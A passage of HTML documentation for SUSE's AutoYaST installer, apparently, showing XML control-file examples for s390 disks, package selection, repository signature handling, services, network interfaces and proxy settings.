     </p><div class="verbatim-wrap"><pre class="screen">&lt;dasd&gt;
 &lt;devices config:type="list"&gt;
  &lt;listentry&gt;
   ...
  &lt;/listentry&gt;
 &lt;/devices&gt;
&lt;/dasd&gt;</pre></div><p>
      tags in the &lt;profile&gt; section. Each disk needs to be
      configured in a separate &lt;listentry&gt; ...
      &lt;/listentry&gt; section.
     </p><div class="informaltable"><table border="1"><colgroup><col /><col /><col /></colgroup><thead><tr><th>
          <p>
           Attribute
          </p>
         </th><th>
          <p>
           Values
          </p>
         </th><th>
          <p>
           Description
          </p>
         </th></tr></thead><tbody><tr><td>
          <p>
           <code class="literal">device</code>
          </p>
         </td><td>
          <p>
           <code class="literal">DASD</code> is the only value allowed
          </p>
<div class="verbatim-wrap"><pre class="screen">&lt;device
&gt;DASD&lt;/dev_name&gt;</pre></div>
         </td><td>
          <p></p>
         </td></tr><tr><td>
          <p>
           <code class="literal">dev_name</code>
          </p>
         </td><td>
          <p>
           The device (<code class="literal">dasd<em class="replaceable ">n</em></code>)
           you want to configure in this section.
          </p>
<div class="verbatim-wrap"><pre class="screen">&lt;dev_name
&gt;/dev/dasda&lt;/dev_name&gt;</pre></div>
         </td><td>
          <p>
           Optional but recommended. If left out, AutoYaST tries to guess the
           device.
          </p>
         </td></tr><tr><td>
          <p>
           <code class="literal">channel</code>
          </p>
         </td><td>
          <p>
           Channel by which the disk is accessed.
          </p>
<div class="verbatim-wrap"><pre class="screen">&lt;channel&gt;0.0.0150&lt;/channel&gt;</pre></div>
         </td><td>
          <p>
           Mandatory.
          </p>
         </td></tr><tr><td>
          <p>
           <code class="literal">diag</code>
          </p>
         </td><td>
          <p>
           Enable or disable the use of <code class="literal">DIAG</code>. Possible
           values are <code class="literal">true</code> (enable) or
           <code class="literal">false</code> (disable).
          </p>
<div class="verbatim-wrap"><pre class="screen">&lt;diag
config:type="boolean"&gt;true&lt;/diag&gt;</pre></div>
         </td><td>
          <p>
           Optional.
          </p>
         </td></tr></tbody></table></div></div><div class="sect3 " id="ay.partition_s390.zfcp"><div class="titlepage"><div><div><h4 class="title" id="ay.partition_s390.zfcp"><span class="number">4.5.9.2 </span><span class="name">Configuring zFCP Disks</span> <a title="Permalink" class="permalink" href="configuration.html#ay.partition_s390.zfcp">#</a></h4></div></div></div><p>
      The following elements must be placed within the following XML
      structure:
     </p><div class="verbatim-wrap"><pre class="screen">&lt;profile&gt;
  &lt;zfcp&gt;
    &lt;devices config:type="list"&gt;
      &lt;listentry&gt;
        ...
      &lt;/listentry&gt;
    &lt;/devices&gt;
  &lt;/zfcp&gt;
&lt;profile&gt;</pre></div><p>
      Each disk needs to be configured in a separate
      <code class="literal">listentry</code> section.
     </p><div class="informaltable"><table border="1"><colgroup><col /><col /></colgroup><thead><tr><th>
          <p>
           Attribute
          </p>
         </th><th>
          <p>
           Values
          </p>
         </th></tr></thead><tbody><tr><td>
          <p>
           <code class="literal">controller_id</code>
          </p>
         </td><td>
          <p>
           Channel number
          </p>
<div class="verbatim-wrap"><pre class="screen">&lt;controller_id
&gt;0.0.fc00&lt;/controller_id&gt;</pre></div>
         </td></tr></tbody></table></div></div></div></div><div class="sect1 " id="CreateProfile.Software"><div class="titlepage"><div><div><h2 class="title" id="CreateProfile.Software"><span class="number">4.6 </span><span class="name">Software</span> <a title="Permalink" class="permalink" href="configuration.html#CreateProfile.Software">#</a></h2></div></div></div><p>
    
   </p><div class="sect2 " id="Software.Selections.sles10"><div class="titlepage"><div><div><h3 class="title" id="Software.Selections.sles10"><span class="number">4.6.1 </span><span class="name">Package Selection with Patterns</span> <a title="Permalink" class="permalink" href="configuration.html#Software.Selections.sles10">#</a></h3></div></div></div><p>
     Patterns are configured like this:
    </p><div class="example" id="idm140013836345472"><div class="example-title-wrap"><h6 class="example-title"><span class="number">Example 4.12: </span><span class="name">Package Selection in the Control File with Patterns </span><a title="Permalink" class="permalink" href="configuration.html#idm140013836345472">#</a></h6></div><div class="example-contents"><div class="verbatim-wrap"><pre class="screen">&lt;software&gt;
  &lt;patterns config:type="list"&gt;
    &lt;pattern&gt;directory_server&lt;/pattern&gt;
  &lt;/patterns&gt;
  &lt;packages  config:type="list"&gt;
    &lt;package&gt;apache&lt;/package&gt;
    &lt;package&gt;postfix&lt;/package&gt;
  &lt;/packages&gt;
  &lt;do_online_update config:type="boolean"&gt;true&lt;/do_online_update&gt;
&lt;/software&gt;</pre></div></div></div></div><div class="sect2 " id="Software.Selections.additional"><div class="titlepage"><div><div><h3 class="title" id="Software.Selections.additional"><span class="number">4.6.2 </span><span class="name">Installing Additional and Customized Packages</span> <a title="Permalink" class="permalink" href="configuration.html#Software.Selections.additional">#</a></h3></div></div></div><p>
     In addition to the packages available for installation on the DVD-ROMs,
     you can add external packages including customized kernels. Customized
     kernel packages must be compatible to the SUSE packages and must
     install the kernel files to the same locations.
    </p><p>
     Unlike in earlier in versions, you do not need a special resource in
     the control file to install custom and external packages. Instead you
     need to re-create the package database and update it with any new
     packages or new package versions in the source repository.
    </p><p>
     A script is provided for this task which will query packages available
     in the repository and create the package database. Use the command
     <code class="command">/usr/bin/create_package_descr</code>. When creating the
     database, all languages will be reset to English.
    </p><div class="example" id="idm140013829588976"><div class="example-title-wrap"><h6 class="example-title"><span class="number">Example 4.13: </span><span class="name">Creating Package Database </span><a title="Permalink" class="permalink" href="configuration.html#idm140013829588976">#</a></h6></div><div class="example-contents"><div class="verbatim-wrap"><pre class="screen">cd /usr/local/DVDs/LATEST/suse
create_package_descr -x PATH_TO_EXTRA_PROV -d /usr/local/CDs/LATEST/suse</pre></div></div></div><p>
     In the above example, the directory
     <code class="filename">/usr/local/CDs/LATEST/suse</code> contains the
     architecture dependent (for example <code class="literal">x86_64</code>) and
     architecture independent packages (<code class="literal">noarch</code>). This
     might look different on other architectures.
    </p><p>
     The advantage of this method is that you can keep an up-to-date
     repository with fixed and updated package. Additionally this method
     makes the creation of custom CD-ROMs easier.
    </p><p>
     To add your own RPMs to an installation source (or a module such as the
     SDK), add a file <code class="filename">add_on_products</code> to the
     installation source.
    </p><div class="verbatim-wrap"><pre class="screen">media_url [path_on_media [product_1 [product_2 [....]]]</pre></div><p>
     <code class="literal">media_url</code> is the URL of the media,
     <code class="literal">path_on_media</code> is the path to the catalog on the
     media. If not present, / (root) is assumed.
     <code class="literal">product_1</code> and following are the names of products,
     which should be marked for installation. If no product is specified,
     all products found on the media are selected for installation. For
     example:
    </p><div class="verbatim-wrap"><pre class="screen">http://192.168.66.6/SLES/sdk/DVD1
        http://192.168.66.6/SLES/DVD1/updates</pre></div><p>
     As an alternative to adding the <code class="filename">add_on_products</code>
     file to the installation source, you can use the AutoYaST control file
     to specify modules, extensions and add-on products. For example:
    </p><div class="verbatim-wrap"><pre class="screen">&lt;add-on&gt;
  &lt;add_on_products config:type="list"&gt;
    &lt;listentry&gt;
      &lt;media_url&gt;http://192.168.66.6/SLES/DVD1/updates&lt;/media_url&gt;
      &lt;product&gt;SLES_Updates&lt;/product&gt;
      &lt;alias&gt;SuSE-Updates&lt;/alias&gt;
      &lt;product_dir&gt;/&lt;/product_dir&gt;
      &lt;priority config:type="integer"&gt;20&lt;/priority&gt;
      &lt;ask_on_error config:type="boolean"&gt;false&lt;/ask_on_error&gt;
      &lt;name&gt;MyUpdates&lt;/name&gt; &lt;
    &lt;/listentry&gt;
  &lt;/add_on_products&gt;
&lt;/add-on&gt;</pre></div><p>
     AutoYaST can ask the user to make add-on products, modules or extension available instead of
     reporting a time-out error when no repository can be found at
     the given location. Set ask_on_error to <code class="literal">true</code> (the
     default is <code class="literal">false</code>).
    </p><p>
     If you want to use unsigned installation sources with AutoYaST, turn off
     the checks with the following configuration in your AutoYaST control
     file.
    </p><p>
     The elements listed below must be placed within the following XML
     structure:
    </p><div class="verbatim-wrap"><pre class="screen">&lt;general&gt;
  &lt;signature-handling&gt;
    ...
  &lt;/signature-handling&gt;
&lt;/general&gt;</pre></div><p>
     Default values for all options are <code class="literal">false</code>. If an
     option is set to <code class="literal">false</code> and a package or repository
     fails the respective test, it is silently ignored and will not be
     installed. Note that setting any of these options to
     <code class="literal">true</code> is a potential security risk. Never do it when
     using packages or repositories from third party sources.
    </p><div class="informaltable"><table border="1"><colgroup><col /><col /></colgroup><thead><tr><th>
         <p>
          Attribute
         </p>
        </th><th>
         <p>
          Values
         </p>
        </th></tr></thead><tbody><tr><td>
         <p>
          <code class="literal">accept_unsigned_file</code>
         </p>
        </td><td>
         <p>
          If set to <code class="literal">true</code>, AutoYaST will accept unsigned
          files like the content file.
         </p>
<div class="verbatim-wrap"><pre class="screen">&lt;accept_unsigned_file config:type="boolean"
&gt;true&lt;/accept_unsigned_file&gt;</pre></div>
        </td></tr><tr><td>
         <p>
          <code class="literal">accept_file_without_checksum</code>
         </p>
        </td><td>
         <p>
          If set to <code class="literal">true</code>, AutoYaST will accept files
          without a checksum in the content file.
         </p>
<div class="verbatim-wrap"><pre class="screen">&lt;accept_file_without_checksum config:type="boolean"
&gt;true&lt;/accept_file_without_checksum&gt;</pre></div>
        </td></tr><tr><td>
         <p>
          <code class="literal">accept_verification_failed</code>
         </p>
        </td><td>
         <p>
          If set to <code class="literal">true</code>, AutoYaST will accept signed
          files even when the verification of the signature failed.
         </p>
<div class="verbatim-wrap"><pre class="screen">&lt;accept_verification_failed config:type="boolean"
&gt;true&lt;/accept_verification_failed&gt;</pre></div>
        </td></tr><tr><td>
         <p>
          <code class="literal">accept_unknown_gpg_key</code>
         </p>
        </td><td>
         <p>
          If set to <code class="literal">true</code>, AutoYaST will accept new gpg
          keys on the installation source, for example the key used to sign
          the content file.
         </p>
<div class="verbatim-wrap"><pre class="screen">&lt;accept_unknown_gpg_key config:type="boolean"
&gt;true&lt;/accept_unknown_gpg_key&gt;</pre></div>
        </td></tr><tr><td>
         <p>
          <code class="literal">accept_non_trusted_gpg_key</code>
         </p>
        </td><td>
         <p>
          This means, the key is known, but is not trusted by you.
         </p>
<div class="verbatim-wrap"><pre class="screen">&lt;accept_non_trusted_gpg_key config:type="boolean"
&gt;true&lt;/accept_non_trusted_gpg_key&gt;</pre></div>
        </td></tr><tr><td>
         <p>
          <code class="literal">import_gpg_key</code>
         </p>
        </td><td>
         <p>
          If set to <code class="literal">true</code>, AutoYaST will accept and import
          new gpg keys on the installation source in its database.
         </p>
<div class="verbatim-wrap"><pre class="screen">&lt;import_gpg_key config:type="boolean"
&gt;true&lt;/import_gpg_key&gt;</pre></div>
        </td></tr></tbody></table></div><p>
     It is possible to configure the signature handling for each add-on
     product, module, or extension individually. The following elements must
     be between the <code class="literal">signature-handling</code> section of the
     individual add-on product, module, or extension. All settings are
     optional. If not configured, the global signature-handling from the
     <code class="literal">general</code> section is used.
    </p><div class="informaltable"><table border="1"><colgroup><col /><col /></colgroup><thead><tr><th>
         <p>
          Attribute
         </p>
        </th><th>
         <p>
          Values
         </p>
        </th></tr></thead><tbody><tr><td>
         <p>
          <code class="literal">accept_unsigned_file</code>
         </p>
        </td><td>
         <p>
          If set to <code class="literal">true</code>, AutoYaST will accept unsigned
          files like the content file for this add-on product.
         </p>
<div class="verbatim-wrap"><pre class="screen">&lt;accept_unsigned_file config:type="boolean"
&gt;true&lt;/accept_unsigned_file&gt;</pre></div>
        </td></tr><tr><td>
         <p>
          <code class="literal">accept_file_without_checksum</code>
         </p>
        </td><td>
         <p>
          If set to <code class="literal">true</code>, AutoYaST will accept files
          without a checksum in the content file for this add-on.
         </p>
<div class="verbatim-wrap"><pre class="screen">&lt;accept_file_without_checksum config:type="boolean"
&gt;true&lt;/accept_file_without_checksum&gt;</pre></div>
        </td></tr><tr><td>
         <p>
          <code class="literal">accept_verification_failed</code>
         </p>
        </td><td>
         <p>
          If set to <code class="literal">true</code>, AutoYaST will accept signed
          files even when the verification of the signature fails.
         </p>
<div class="verbatim-wrap"><pre class="screen">&lt;accept_verification_failed config:type="boolean"
&gt;true&lt;/accept_verification_failed&gt;</pre></div>
        </td></tr><tr><td>
         <p>
          <code class="literal">accept_unknown_gpg_key</code>
         </p>
        </td><td>
         <p>
          If set to <code class="literal">true</code>, AutoYaST will accept new gpg
          keys on the installation source, for example the key used to sign
          the content file.
         </p>
<div class="verbatim-wrap"><pre class="screen">&lt;accept_unknown_gpg_key&gt;
  &lt;all config:type="boolean"&gt;false&lt;/all&gt;
  &lt;keys config:type="list"&gt;
    &lt;keyid&gt;3B3011B76B9D6523&lt;/keyid&gt;
  &lt;/keys&gt;
&lt;/accept_unknown_gpg_key&gt;</pre></div>
        </td></tr><tr><td>
         <p>
          <code class="literal">accept_non_trusted_gpg_key</code>
         </p>
        </td><td>
         <p>
          This means, the key is known, but it is not trusted by you.
         </p>
<div class="verbatim-wrap"><pre class="screen">&lt;accept_non_trusted_gpg_key&gt;
  &lt;all config:type="boolean"&gt;false&lt;/all&gt;
  &lt;keys config:type="list"&gt;
    &lt;keyid&gt;3B3011B76B9D6523&lt;/keyid&gt;
  &lt;/keys&gt;
&lt;/accept_non_trusted_gpg_key&gt;</pre></div>
        </td></tr><tr><td>
         <p>
          <code class="literal">import_gpg_key</code>
         </p>
        </td><td>
         <p>
          If set to <code class="literal">true</code>, AutoYaST will accept and import
          new gpg keys on the installation source into its database.
         </p>
<div class="verbatim-wrap"><pre class="screen">&lt;import_gpg_key&gt;
  &lt;all config:type="boolean"&gt;false&lt;/all&gt;
  &lt;keys config:type="list"&gt;
    &lt;keyid&gt;3B3011B76B9D6523&lt;/keyid&gt;
  &lt;/keys&gt;
&lt;/import_gpg_key&gt;</pre></div>
        </td></tr></tbody></table></div></div><div class="sect2 " id="Software.Selections.kernel"><div class="titlepage"><div><div><h3 class="title" id="Software.Selections.kernel"><span class="number">4.6.3 </span><span class="name">Kernel Packages</span> <a title="Permalink" class="permalink" href="configuration.html#Software.Selections.kernel">#</a></h3></div></div></div><p>
     Kernel packages are not part of any selection. The required kernel is
     determined during installation. If the kernel package is added to any
     selection or to the individual package selection, installation will
     mostly fail because of conflicts.
    </p><p>
     To force the installation of a specific kernel, use the
     <code class="literal">kernel</code> property. The following is an example of
     forcing the installation of the default kernel. This kernel will be
     installed even if an SMP or other kernel is required.
    </p><div class="example" id="idm140013833188384"><div class="example-title-wrap"><h6 class="example-title"><span class="number">Example 4.14: </span><span class="name">Kernel Selection in the Control File </span><a title="Permalink" class="permalink" href="configuration.html#idm140013833188384">#</a></h6></div><div class="example-contents"><div class="verbatim-wrap"><pre class="screen">&lt;software&gt;        
  &lt;kernel&gt;kernel-default&lt;/kernel&gt;
  ...
&lt;/software&gt;</pre></div></div></div></div><div class="sect2 " id="Software.Selections.remove_packs"><div class="titlepage"><div><div><h3 class="title" id="Software.Selections.remove_packs"><span class="number">4.6.4 </span><span class="name">Removing Automatically Selected Packages</span> <a title="Permalink" class="permalink" href="configuration.html#Software.Selections.remove_packs">#</a></h3></div></div></div><p>
     Some packages are selected automatically either because of a dependency
     or because it is available in a selection.
    </p><p>
     Removing such packages might break the system consistency and it is not
     recommended to remove basic packages unless a replacement which
     provides the same services is provided. The best example for this case
     are mail transfer agent (MTA) packages. By default,
     <code class="systemitem">postfix</code> will be selected and installed. If you
     want to use another MTA like <code class="systemitem">sendmail</code>, then
     postfix can be removed from the list of selected package using a list
     in the software resource. However, note that sendmail is not shipped
     with <span class="productname"><span class="phrase">SUSE Linux Enterprise Server</span></span>. The following example shows how this can be
     done:
    </p><div class="example" id="idm140013833182064"><div class="example-title-wrap"><h6 class="example-title"><span class="number">Example 4.15: </span><span class="name">Package Selection in Control File </span><a title="Permalink" class="permalink" href="configuration.html#idm140013833182064">#</a></h6></div><div class="example-contents"><div class="verbatim-wrap"><pre class="screen">&lt;software&gt;
  &lt;packages  config:type="list"&gt;
    &lt;package&gt;sendmail&lt;/package&gt;
  &lt;/packages&gt;
  &lt;remove-packages  config:type="list"&gt;
    &lt;package&gt;postfix&lt;/package&gt;
  &lt;/remove-packages&gt;
&lt;/software&gt;</pre></div></div></div><div id="idm140013833180528" class="admonition note"><img class="symbol" alt="Note" title="Note" src="static/images/icon-note.png" /><h6>Note: Package Removal Failure</h6><p>
      Note that it is not possible to remove a package, that is part of a
      pattern (see <a class="xref" href="configuration.html#Software.Selections.sles10" title="4.6.1. Package Selection with Patterns">Section 4.6.1, “Package Selection with Patterns”</a>).  When
      specifying such a package for removal, the installation will fail with
      the following error message:
     </p><div class="verbatim-wrap"><pre class="screen">The package resolver run failed. Please check
      your software section in the autoyast profile.</pre></div></div></div><div class="sect2 " id="Software.Selections.stage2_packs"><div class="titlepage"><div><div><h3 class="title" id="Software.Selections.stage2_packs"><span class="number">4.6.5 </span><span class="name">Installing Packages in Stage 2</span> <a title="Permalink" class="permalink" href="configuration.html#Software.Selections.stage2_packs">#</a></h3></div></div></div><p>
     If you want to install packages after the reboot during stage two,
     instead of during the normal installation process in stage one, you can
     use the <code class="literal">post-packages</code> element for that:
    </p><div class="verbatim-wrap"><pre class="screen">&lt;software&gt;
  &lt;post-packages config:type="list"&gt;
    &lt;package&gt;yast2-cim&lt;/package&gt;
  &lt;/post-packages&gt;
&lt;/software&gt;</pre></div></div><div class="sect2 " id="Software.Selections.stage2_patterns"><div class="titlepage"><div><div><h3 class="title" id="Software.Selections.stage2_patterns"><span class="number">4.6.6 </span><span class="name">Installing Patterns in Stage 2</span> <a title="Permalink" class="permalink" href="configuration.html#Software.Selections.stage2_patterns">#</a></h3></div></div></div><p>
     You can also install patterns in stage 2. Use the
     <code class="literal">post-patterns</code> element for that:
    </p><div class="verbatim-wrap"><pre class="screen">&lt;software&gt;
  &lt;post-patterns config:type="list"&gt;
    &lt;pattern&gt;apparmor&lt;/pattern&gt;
  &lt;/post-patterns&gt;
&lt;/software&gt;</pre></div></div><div class="sect2 " id="Software.Selections.stage2_update"><div class="titlepage"><div><div><h3 class="title" id="Software.Selections.stage2_update"><span class="number">4.6.7 </span><span class="name">Online Update in Stage 2</span> <a title="Permalink" class="permalink" href="configuration.html#Software.Selections.stage2_update">#</a></h3></div></div></div><p>
     You can perform an online update at the end of the installation. Set
     the boolean <code class="literal">do_online_update</code> to
     <code class="literal">true</code>. Of course this only makes sense if you add an
     online update repository in the suse-register/customer-center section,
     for example, or in a post-script. If the online update repository was
     already available in stage one via the add-on section, then AutoYaST has
     already installed the latest packages available. If a kernel update is
     done via online-update, a reboot at the end of stage two is triggered.
    </p><div class="verbatim-wrap"><pre class="screen">&lt;software&gt;
  &lt;do_online_update config:type="boolean"&gt;true&lt;/do_online_update&gt;
&lt;/software&gt;</pre></div></div></div><div class="sect1 " id="CreateProfile.Services"><div class="titlepage"><div><div><h2 class="title" id="CreateProfile.Services"><span class="number">4.7 </span><span class="name">Services and Targets</span> <a title="Permalink" class="permalink" href="configuration.html#CreateProfile.Services">#</a></h2></div></div></div><p>
    With the <code class="literal">services-manager</code> resource you can set the
    default systemd target and specify in detail which system services you
    want to start or deactivate.
   </p><p>
    The <code class="literal">default-target</code> property specifies the default
    systemd target into which the system boots. Valid options are
    <code class="literal">graphical</code> for a graphical login, or
    <code class="literal">multi-user</code> for a console login.
   </p><p>
    The &lt;enable config:type="list"&gt; and &lt;disable
    config:type="list"&gt; let you explicitly enable or disable services.
   </p><div class="example" id="idm140013833163408"><div class="example-title-wrap"><h6 class="example-title"><span class="number">Example 4.16: </span><span class="name">Configuring Services and Targets </span><a title="Permalink" class="permalink" href="configuration.html#idm140013833163408">#</a></h6></div><div class="example-contents"><div class="verbatim-wrap"><pre class="screen">&lt;services-manager&gt;
  &lt;default_target&gt;multi-user&lt;/default_target&gt;
  &lt;services&gt;
    &lt;disable config:type="list"&gt;
      &lt;service&gt;cups&lt;/service&gt;
    &lt;/disable&gt;
    &lt;enable config:type="list"&gt;
      &lt;service&gt;sshd&lt;/service&gt;
    &lt;/enable&gt;
  &lt;/services&gt;
&lt;/services-manager&gt;</pre></div></div></div></div><div class="sect1 " id="CreateProfile.Network"><div class="titlepage"><div><div><h2 class="title" id="CreateProfile.Network"><span class="number">4.8 </span><span class="name">Network Configuration</span> <a title="Permalink" class="permalink" href="configuration.html#CreateProfile.Network">#</a></h2></div></div></div><p>
    Network configuration is used to connect a single workstation to an
    Ethernet-based LAN or to configure a dial-up connection. More complex
    configurations (multiple network cards, routing, etc.) are also
    provided.
   </p><p>
    If the following setting is set to <code class="literal">true</code> YaST
    will keep network settings created during the installation (via Linuxrc)
    and/or merge it with network settings from the AutoYaST control file (if
    defined). AutoYaST settings have higher priority than already present
    configuration files. YaST will write ifcfg-* files based on the
    entries in the control file without removing old ones. If there is an
    empty or no dns and routing section, YaST will keep already
    existing values. Otherwise settings from the control file will be
    applied.
   </p><div class="verbatim-wrap"><pre class="screen">&lt;keep_install_network
config:type="boolean"&gt;true&lt;/keep_install_network&gt;</pre></div><p>
    To configure network settings and activate networking automatically, one
    global resource is used to store the whole network configuration.
   </p><div class="example" id="idm140013836559856"><div class="example-title-wrap"><h6 class="example-title"><span class="number">Example 4.17: </span><span class="name">Network configuration </span><a title="Permalink" class="permalink" href="configuration.html#idm140013836559856">#</a></h6></div><div class="example-contents"><div class="verbatim-wrap"><pre class="screen">&lt;networking&gt;
  &lt;dns&gt;
    &lt;dhcp_hostname config:type="boolean"&gt;true&lt;/dhcp_hostname&gt;
    &lt;domain&gt;site&lt;/domain&gt;
    &lt;hostname&gt;linux-bqua&lt;/hostname&gt;
    &lt;nameservers config:type="list"&gt;
      &lt;nameserver&gt;192.168.1.116&lt;/nameserver&gt;
      &lt;nameserver&gt;192.168.1.117&lt;/nameserver&gt;
      &lt;nameserver&gt;192.168.1.118&lt;/nameserver&gt;
    &lt;/nameservers&gt;
    &lt;resolv_conf_policy&gt;auto&lt;/resolv_conf_policy&gt;
    &lt;searchlist config:type="list"&gt;
      &lt;search&gt;example.com&lt;/search&gt;
      &lt;search&gt;example.net&lt;/search&gt;
    &lt;/searchlist&gt;
    &lt;write_hostname config:type="boolean"&gt;false&lt;/write_hostname&gt;
  &lt;/dns&gt;
  &lt;interfaces config:type="list"&gt;
    &lt;interface&gt;
      &lt;bootproto&gt;dhcp&lt;/bootproto&gt;
      &lt;device&gt;eth0&lt;/device&gt;
      &lt;startmode&gt;auto&lt;/startmode&gt;
    &lt;/interface&gt;
    &lt;interface&gt;
      &lt;bootproto&gt;static&lt;/bootproto&gt;
      &lt;broadcast&gt;127.255.255.255&lt;/broadcast&gt;
      &lt;device&gt;lo&lt;/device&gt;
      &lt;firewall&gt;no&lt;/firewall&gt;
      &lt;ipaddr&gt;127.0.0.1&lt;/ipaddr&gt;
      &lt;netmask&gt;255.0.0.0&lt;/netmask&gt;
      &lt;network&gt;127.0.0.0&lt;/network&gt;
      &lt;prefixlen&gt;8&lt;/prefixlen&gt;
      &lt;startmode&gt;nfsroot&lt;/startmode&gt;
      &lt;usercontrol&gt;no&lt;/usercontrol&gt;
    &lt;/interface&gt;
  &lt;/interfaces&gt;
  &lt;ipv6 config:type="boolean"&gt;true&lt;/ipv6&gt;
  &lt;keep_install_network config:type="boolean"&gt;false&lt;/keep_install_network&gt;
  &lt;managed config:type="boolean"&gt;false&lt;/managed&gt;       ###### NetworkManager ?
  &lt;net-udev config:type="list"&gt;
    &lt;rule&gt;
      &lt;name&gt;eth0&lt;/name&gt;
      &lt;rule&gt;ATTR{address}&lt;/rule&gt;
      &lt;value&gt;00:30:6E:08:EC:80&lt;/value&gt;
    &lt;/rule&gt;
  &lt;/net-udev&gt;
  &lt;s390-devices config:type="list"&gt;
    &lt;listentry&gt;
      &lt;chanids&gt;0.0.0800 0.0.0801 0.0.0802&lt;/chanids&gt;
      &lt;type&gt;qeth&lt;/type&gt;
    &lt;/listentry&gt;
  &lt;/s390-devices&gt;
  &lt;routing&gt;
    &lt;ipv4_forward config:type="boolean"&gt;false&lt;/ipv4_forward&gt;
    &lt;ipv6_forward config:type="boolean"&gt;false&lt;/ipv6_forward&gt;
    &lt;routes config:type="list"&gt;
      &lt;route&gt;
        &lt;destination&gt;192.168.2.1&lt;/destination&gt;
        &lt;device&gt;eth0&lt;/device&gt;
        &lt;extrapara&gt;foo&lt;/extrapara&gt;
        &lt;gateway&gt;-&lt;/gateway&gt;
        &lt;netmask&gt;-&lt;/netmask&gt;
      &lt;/route&gt;
      &lt;route&gt;
        &lt;destination&gt;default&lt;/destination&gt;
        &lt;device&gt;eth0&lt;/device&gt;
        &lt;gateway&gt;192.168.1.1&lt;/gateway&gt;
        &lt;netmask&gt;-&lt;/netmask&gt;
      &lt;/route&gt;
      &lt;route&gt;
        &lt;destination&gt;default&lt;/destination&gt;
        &lt;device&gt;lo&lt;/device&gt;
        &lt;gateway&gt;192.168.5.1&lt;/gateway&gt;
        &lt;netmask&gt;-&lt;/netmask&gt;
      &lt;/route&gt;
    &lt;/routes&gt;
  &lt;/routing&gt;
&lt;/networking&gt;</pre></div></div></div><div id="idm140013836556128" class="admonition tip"><img class="symbol" alt="Tip" title="Tip" src="static/images/icon-tip.png" /><h6>Tip: IPv6 Address Support</h6><p>
     Using IPv6 addresses in AutoYaST is fully supported. To disable IPv6
     Address Support, set &lt;ipv6
     config:type="boolean"&gt;false&lt;/ipv6&gt;
    </p></div><div class="sect2 " id="CreateProfile.Network.names"><div class="titlepage"><div><div><h3 class="title" id="CreateProfile.Network.names"><span class="number">4.8.1 </span><span class="name">Persistent Names of Network Interfaces</span> <a title="Permalink" class="permalink" href="configuration.html#CreateProfile.Network.names">#</a></h3></div></div></div><p>
     The following elements must be between the
     &lt;net-udev&gt;...&lt;/net-udev&gt; tags.
    </p><div class="informaltable"><table border="1"><colgroup><col /><col /><col /></colgroup><thead><tr><th>
         <p>
          Element
         </p>
        </th><th>
         <p>
          Description
         </p>
        </th><th>
         <p>
          Comment
         </p>
        </th></tr></thead><tbody><tr><td>
         <p>
          name
         </p>
        </td><td>
         <p>
          Network interface name, e.g. <code class="literal">eth3</code>
         </p>
        </td><td>
         <p>
          required
         </p>
        </td></tr><tr><td>
         <p>
          rule
         </p>
        </td><td>
         <p>
          <code class="literal">ATTR{address}</code> for a MAC based rule,
          <code class="literal">KERNELS</code> for a bus ID based rule
         </p>
        </td><td>
         <p>
          required
         </p>
        </td></tr><tr><td>
         <p>
          value
         </p>
        </td><td>
         <p>
          e.g. <code class="literal">f0:de:f1:6b:da:69</code> for a MAC rule,
          <code class="literal">0000:00:1c.1 or 0.0.0700</code> for a bus ID rule
         </p>
        </td><td>
         <p>
          required
         </p>
        </td></tr></tbody></table></div></div><div class="sect2 " id="CreateProfile.Network.s390"><div class="titlepage"><div><div><h3 class="title" id="CreateProfile.Network.s390"><span class="number">4.8.2 </span><span class="name">s390 Devices</span> <a title="Permalink" class="permalink" href="configuration.html#CreateProfile.Network.s390">#</a></h3></div></div></div><p>
     The following elements must be between the
     &lt;s390-devices&gt;...&lt;/s390-devices&gt; tags.
    </p><div class="informaltable"><table border="1"><colgroup><col /><col /><col /></colgroup><thead><tr><th>
         <p>
          Element
         </p>
        </th><th>
         <p>
          Description
         </p>
        </th><th>
         <p>
          Comment
         </p>
        </th></tr></thead><tbody><tr><td>
         <p>
          type
         </p>
        </td><td>
         <p>
          qeth, ctc or iucv
         </p>
        </td><td>
         <p></p>
        </td></tr><tr><td>
         <p>
          chanids
         </p>
        </td><td>
         <p>
          channel ids separated by spaces
         </p>
<div class="verbatim-wrap"><pre class="screen">&lt;chanids&gt;0.0.0700 0.0.0701 0.0.0702&lt;/chanids&gt;</pre></div>
        </td><td>
         <p></p>
        </td></tr><tr><td>
         <p>
          layer2
         </p>
        </td><td>
         <p></p>
<div class="verbatim-wrap"><pre class="screen">&lt;layer2 config:type="boolean"&gt;true&lt;/layer2&gt;</pre></div>
        </td><td>
         <p>
          boolean; default: false
         </p>
        </td></tr><tr><td>
         <p>
          portname
         </p>
        </td><td>
         <p>
          QETH port name
         </p>
        </td><td>
         <p></p>
        </td></tr><tr><td>
         <p>
          protocol
         </p>
        </td><td>
         <p>
          CTC / LCS protocol, a small number (as a string)
         </p>
<div class="verbatim-wrap"><pre class="screen">&lt;protocol&gt;1&lt;/protocol&gt;</pre></div>
        </td><td>
         <p>
          optional
         </p>
        </td></tr><tr><td>
         <p>
          router
         </p>
        </td><td>
         <p>
          IUCV router/user
         </p>
        </td><td>
         <p></p>
        </td></tr></tbody></table></div></div><div class="sect2 " id="Configuration.Network.Proxy"><div class="titlepage"><div><div><h3 class="title" id="Configuration.Network.Proxy"><span class="number">4.8.3 </span><span class="name">Proxy</span> <a title="Permalink" class="permalink" href="configuration.html#Configuration.Network.Proxy">#</a></h3></div></div></div><p>
     Configure your Internet proxy (caching) settings.
    </p><p>
     Configure proxies for HTTP and FTP with <code class="literal">http_proxy</code>
     and <code class="literal">ftp_proxy</code>, respectively. Addresses or names that
     should be directly accessible need to be specified with
     <code class="literal">no_proxy</code> (space separated values). If you are using
     a proxy server with authorization, fill in
     <code class="literal">proxy_user</code> and <code class="literal">proxy_password</code>,
    </p><div class="example" id="idm140013836392080"><div class="example-title-wrap"><h6 class="example-title"><span class="number">Example 4.18: </span><span class="name">Network configuration: Proxy </span><a title="Permalink" class="permalink" href="configuration.html#idm140013836392080">#</a></h6></div><div class="example-contents"><div class="verbatim-wrap"><pre class="screen">&lt;proxy&gt;
  &lt;enabled config:type="boolean"&gt;true&lt;/enabled&gt;
  &lt;ftp_proxy&gt;http://192.168.1.240:3128&lt;/ftp_proxy&gt;
  &lt;http_proxy&gt;http://192.168.1.240:3128&lt;/http_proxy&gt;
  &lt;no_proxy&gt;localhost&lt;/no_proxy&gt;
  &lt;proxy_password&gt;testpw&lt;/proxy_password&gt;
  &lt;proxy_user&gt;testuser&lt;/proxy_user&gt;
